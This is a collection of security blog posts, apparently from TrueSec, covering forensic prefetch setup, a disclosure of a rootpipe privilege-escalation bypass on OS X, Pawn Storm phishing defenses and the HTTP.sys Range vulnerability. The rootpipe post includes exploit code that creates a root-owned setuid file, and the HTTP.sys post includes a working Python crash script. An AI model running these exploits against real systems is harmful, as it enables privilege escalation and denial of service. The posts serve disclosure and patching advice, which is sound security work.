How to enable PreFetch in Windows Server

Yesterday I held a presentation on forensics and incident response at the TrueSec Security Summit.

One of the major challenges when responding to a breach is figuring out exactly what an attacker has done on a machine. Did they dump hashes? Install a backdoor? Pivot to another machine by spawning a shell using PsExec?

A great place to see which executables that have been run on a system is looking in the prefetch folder, and parsing the files within. While prefetch is a mechanism used to speed up system boot and/or application launch, the metadata contained in these files are a goldmine when trying to piece together a timeline and attack scenario.

However, since Windows Servers aren’t usually used interactively, Microsoft has made the decision to deactivate prefetch by default. It’s a sound decision, as any unnecessary services increase the attack surface, and theoretically have a performance impact. However, when a system is breached, it will be used interactively, and as we’re interested in figuring out exactly how it’s been used, we’d really love to enable this functionality.

In previous versions of Windows Server this was easily done by adding a registry key. In Windows Server 2012, you have to do a bit more. It’s not a complicated operation, but finding out how is a different matter…

So, in order to enable prefetch for applications on Windows Server 2012, simply do the following in an administrative PowerShell console:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 3 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Prefetcher" /v MaxPrefetchFiles /t REG_DWORD /d 8192 /f

Enable-MMAgent –OperationAPI

net start sysmain

And there you have it. You don’t even have to reboot.

Tagged with: , ,
Posted in General

Speaking at Security Summit in Stockholm

My colleagues at TrueSec and I, are inviting you to a dedicated Security Summit the 24th of November 2015 at Hotel Rival in Stockholm. A conference day full of practical and eye-opening demos. We will teach you all about the latest security threats, data breaches and how secure your systems.

During my session Hacking mobile devices, I will show you how threats against internal systems and sensitive information are changing through the increased use of mobile devices.
I’ll show how both iOS and Android devices are attacked, to steal credentials and other sensitive data.

All sessions are in Swedish. Join us & sign up here

Get our latest updates through Twitter @TrueSec_Se or #secsummit

Tagged with: ,
Posted in Hacking

How to develop more secure software

My colleagues and I are inviting you to a conference day full of practical and eye-opening sessions aiming to make you develop more secure code.

For the second year, TrueSec invites you to a dedicated security day at Øredev. Our security experts Andreas Hallberg, Fabio Viggiani, Marcus Murray, and I will teach you all about the latest security threats that developers must know about, and how to avoid introducing security flaws in your code.

Join us & sign up here!


Also, follow our engagement on Twitter @TrueSec_Se

Tagged with: , ,
Posted in General

Exploiting rootpipe again

Background and acknowledgement

This full disclosure is based on my discovery of a privilege escalation vulnerability in Apple OS X called rootpipe. Read my full disclosure on rootpipe here for some background info.

Big thanks to Patrick Wardle who inspired me to start new investigations, by saying that he found a way to re-abuse rootpipe after the patch in 10.10.3. When Apple released the details of OS X 10.10.4 yesterday, it turned out that we’ve both reported the same issue to them, CVE-2015-3673.

Apples fix in 10.10.3 was to require a special entitlement “” for all binaries accessing the writeconfig XPC service that rootpipe uses. They didn’t change much in the interface of the XPC service. This means that entitled applications can still (among other things) write files with arbitrary path/permissions. Shortly after my full disclosure of rootpipe (when OS X 10.10.3 had been released), Patrick Wardle wrote on his blog that he found a way to re-abuse rootpipe even after the patch. This made me curious to investigate it a bit more.


The entitlement check was somewhat limited, I guess everyone agreed on that (even Apple?). The XPC service is used by so many different parts of OS X. There are actually 45 binaries in my 10.10.3 system that has the entitlement! If I could make any of these execute the rootpipe exploit code, the fix by Apple could be bypassed. But I can’t modify an existing binary, since this would break the code signature. I can’t assign the entitlement to my own program, since the system only accepts Apple-signed binaries to hold it. I can’t inject new threads in an existing process without being root. This left me with only one option: Can I make an entitled binary load a library with my exploit code? It turns out that I can. Keep reading!

Here is a listing of all files that has the writeconfig entitlement:

/System/Library/CoreServices/Applications/Directory Utility
/System/Library/CoreServices/Applications/Directory Directory.daplug/Contents/MacOS/Active Directory
/System/Library/CoreServices/Setup Assistant

Note that /usr/sbin/systemsetup, which partly lead to the initial discovery of rootpipe, is in the list.

I looked through a few of them in Hopper, ending up with “Directory Utility”.

Loading it in Hopper, revealed the following method (called when Directory Utility is started):

void -[PluginController loadPlugins](void * self, void * _cmd) {
    r14 = *objc_msgSend;
    [self loadPluginsInDirectory:[[NSBundle mainBundle] builtInPlugInsPath]];
    rax = [self loadPluginsInDirectory:@"/Library/Application Support/Directory Utility/PlugIns/"];

Turns out that Directory Utility will read plugin binaries (as bundles) from two different paths, one under /Library and one within the Directory Utility bundle. I would need root in order to write to these locations. But if I copy the entire Directory Utility bundle to tmp directory, I will get write permission – while the code signature and assigned entitlements will remain.

Here’s a listing of the PlugIns directory of the bundle:

$ ls -l "/System/Library/CoreServices/Applications/Directory"
total 0
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 Active Directory.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 BSD.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 LDAPv3.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 NIS.daplug

$ cp -R /System/Library/CoreServices/Applications/Directory\ /tmp/

$ ls -l /tmp/Directory\
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Active Directory.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 BSD.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 LDAPv3.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 NIS.daplug

Note the change of ownership, which means we can write to this directory.

Running the rootpipe exploit code

You’ll find my sample exploit code below. I compiled this as a bundle. The bundle name has to have the .daplug suffix and be placed in the PlugIns directory.

#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>

#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"

void __attribute__ ((constructor)) test(void)
    void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);

    if (p != NULL)
        id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
        objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
        id tool = objc_msgSend(sharedClient, @selector(remoteProxy));

        NSData* data = [NSData dataWithContentsOfFile:@"/tmp/source"];
        objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
                     @{ NSFilePosixPermissions : @04777 });

Here’s a new listing of the PlugIns directory after copying my exploit bundle there:

$ ls -l /tmp/Directory\
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Active Directory.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 BSD.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 LDAPv3.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 NIS.daplug
drwxr-xr-x@ 3 emil  wheel  102 Jul  1 00:05 RootpipeBundle.daplug

Launching the “Directory Utility” in the tmp directory will load the RootpipeBundle immediately and execute the exploit code. The exploit code will copy a file from /tmp/source to /tmp/target. The new file will have root as owner and setuid bit set.

$ ls -l /tmp/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Directory
-rw-r--r--  1 emil  wheel    1 Jul  1 00:04 source
-rwsrwxrwx  1 root  wheel    1 Jul  1 00:11 target


The fix Apple made for Rootpipe in 10.10.3 was insufficient. Any user in the system (including the guest account) could still exploit the same XPC service functionality to escalate privileges to root.

There are still many binaries that are entitled to communicate with the XPC service. I haven’t had time to search all these for additional vectors to execute code. Apple made more changes in OS X 10.10.4, for instance limiting what directories the entitled binaries may execute from. This means that copying an entitled binary to a tmp directory no longer works.


  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Rootpipe Full disclosure
  • April 18th 2015: Patrick Wardle writes about his discovery
  • April 27th 2015: Notified Apple about my discovery
  • June 30th 2015: Release of OS X 10.10.4
  • July 1st 2015: Full disclosure of CVE-2015-3673
Tagged with: , ,
Posted in General

Pawn storm – Oldest tricks in the book and we’re still falling for them

Unless you are well-versed in the world of IT-security you might not know what Pawn Storm refers to, or you might think it is a chess tactic. Pawn Storm is an espionage operation started by an unknown group of individuals around 2007. The operation mainly targets government and military related organizations from the United States and their allies, directly or indirectly. There are some reports that the group has been aiming its attacks on people opposing the Kremlin as well as Ukrainian activists and military. This leads to speculations that the group is operating from Russia with a possible connection to the Russian government. Main targets are directly attacked through a number of common attacks or indirectly by attacking anyone who is related to the main target. A good example is a group of bloggers who were targeted in attacks just a few days after they had interviewed President Barack Obama. This is a common way to get to a target by broadening your area of attack and finding a weak link in the chain of individuals or organizations that are somehow related. One target was a company that sells nuclear fuel to power stations. So one can quickly see how this operation can become dangerous rather fast. The targets have mainly been military, government and media in the United States.

It was recently discovered that the group might have been preparing for a large-scale spear phishing campaign against financial institutions during June last year. According to the latest reports, it’s unclear if the campaign has started yet. But, when and if it does it will most likely be based on different spear phishing attacks against banks around the world.

The group has so far mainly been seen to use three different types of tactics in their attacks.

  • Spear phishing emails with different attachments made specifically for the current target. An example is if the target was a Bank then the attachment might be an Excel with a transaction history. The content of the file would look legit to not raise too much suspicion. Different exploits would be used with these files that would deliver different payloads. The group seems to mainly use a backdoor called Sednit or Sofacy.
  • Large networks of phishing sites that would try to get the user to enter credentials to different accounts. One of these examples includes fake OWA login pages that are sent to employees of targeted organizations. If they are tricked to enter their credentials then these credentials will be stolen and can be used later to gain further access into systems.
  • Exploits embedded in legitimate websites. These attacks are known as drive-by attacks that usually exploit browser,  java- or flash plugin vulnerabilities to drop payloads on a visitor’s machine.

According to the security researchers that discovered these attacks and wrote the different reports that I have read through, the organizations, groups, companies etc. that they have found to be targets in this operation have all been notified about this. But that doesn’t mean that everyone who is an actual target has been. There also might be other operations being planned +(,) where new targets are being explored.

So, how would organizations protect against these attacks? These attacks are the same old attacks as we’ve always seen, just in a very large scale and very well thought through. They are carried out using social engineering techniques and the quite correct assumption that no one updates any software. Also, of course, as this operation most certainly makes use of zero day vulnerabilities it might be difficult to protect against it. Patches may not exist or may not get out in time after the first attacks have been discovered.

In the case of malware and malicious links being sent via email in spear phishing attempts I would say that:

  • Acting with caution when reading emails.
  • Being suspicious by default.
  • Security training and some new company policies could be put in place.

Even if anti-virus and different filters are used as protection, the risk is still high. Only one email has to get through to trick some poor employee into giving the Pawn Storm individuals access to the internal network (an anti-virus won’t catch a malware with a new signature and carefully written methods of operation). Teaching employees about what kind of emails to trust and what not to trust is a good start. If they are not expecting an Excel sheet about transaction histories between two gentlemen in a German town then they should probably not open it. If an organization needs to receive attachments via email in the form of Excel sheets or PDF-files it can be tricky to protect against attacks depending from what kind of sources you would expect to get mail from (like the example with the two Gentlemen in a German town if you are in fact working for a small very local company in New Zealand). One thing you could do in a situation like this is to keep everything updated, from Operating System to software that are in use (Like Adobe and Microsoft Office).

The same principles applies to getting emails with strange links that at first seem legitimate. The countermeasures mentioned above apply here as well. Another countermeasure here could be to teach employees to look closely at the link they are about to click. Usually hovering over it will reveal if the link goes somewhere else than what it says. If they can’t recognize the URL then it shouldn’t be clicked. An alternative that works on Android is to “press-and-hold” on the link to reveal where it points to (This might of course be problematic in the way that some people might then press and activate the link by mistake then instead).









If they still click the link and from there want to verify the page they could again have a look at the address they were taken to, for instance looking closely at the spelling of the address (Making sure it’s instead of Alternatively they can be taught to take a look at the little icon next to the URL in the browser that indicates if the connection is secure and trusted. This of course requires the organization that owns the website to always use SSL on all important web resources so that one can always assume that the icon should be there.










In the case of Firefox which was the browser used in the example above, more information can be found via the link below. Don’t forget to check where you end up ;).

The drive-by downloads which is the third main method used by the group can be hard to protect against if the organization requires applications running Java or Flash in the browser, as these two are most commonly used to drop the payloads due the large amount of vulnerabilities found in these two solutions. Javascript can also be used to carry out different attacks. Amongst these, browser exploits can sometimes be utilized. However, Javascript is usually harder to turn off than Java and Flash in the browser due to so many websites today that depend on it to function properly. I however, recommend to remove Java and Flash in the browser if not used, and if possible plugins such as NoScript can be used to only allow a small amount of websites to execute Javascript in the browser. If none of these can be removed then the best alternative would be to keep browser, plugins, Java and flash updated at all times.

To summarize, the problems at their core are the same as usual. Software will most likely always contain vulnerabilities and thus users need to become more careful and be reminded to not trust what ends up in their inbox, even if it looks very legitimate and tempting to open. If in doubt, ask your helpdesk or head of security. Not everyone has a head of security, in which case you could contact an IT-security consultant about the matter. Now, people can’t really be expected to call someone every time they get a strange email with suspicious content. That’s why the different levels of countermeasures need to be taken to prevent this type of directed attack.

Another problem to be taken into consideration is the rest of the organization’s infrastructure. There could be servers being exposed to the Internet, which contain vulnerabilities that could be used to gain access to the internal network. In this case the attacking group would simply need to place more focus on a single target and expand their methods of attacking to discover new ways to get inside of the network. Therefore, it’s always important to review security in the organization often.

There are many things that need to be taken into consideration when building up a defense against these attacks. The recommendations in this article can be thought of as a pretty good starting point – or extensions to the security implementation that already exist within an organization.



Tagged with: , ,
Posted in General, Hacking

Keep your Windows servers patched

Unlike Heartbleed and Shellshock, this vulnerability hasn’t gotten much attention.
And so far it “only” results in a denial of service by crashing unpatched servers.

The new vulnerability found (and patched) in HTTP.sys in Windows is super simple to exploit to crash a server. It affects Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8, Windows 8.1 and Windows Server 2012 Gold/R2. And it has the potential to be used to execute arbitrary code on the target server. Although no such Proof-Of-Concept has been released in public yet, who knows what’s going on in the not so public parts of the Internet?

There are however a few PoC examples released already, and one of them can be used without any modification to crash a vulnerable server.

#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1:
 sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
SendPayload(Payload, Host)

Upon testing the code above on a few of my test servers, they crashed immediately.
During some of the tests the servers didn’t even have time to save a crash dump.


Patch your servers!


Tagged with: , , , ,
Posted in Hacking

OS X 10.10.3 still vulnerable

I just wanted to notify our readers interested in OS X security about a new finding that Patrick Wardle has made. He stated in his blog that he’s able to exploit rootpipe on a fully patched OS X 10.10.3!

If you are interested in the details of the patch Apple made, read all details in the writeup by @osxreverser here.

Check out his blog for more info (no details – responsible disclosure, remember). There are a couple of possible approaches that could work to circumvent the entitlement checks Apple added in 10.10.3. But let’s wait for a patch from Apple before we speculate more in public.

Tagged with: , , ,
Posted in Hacking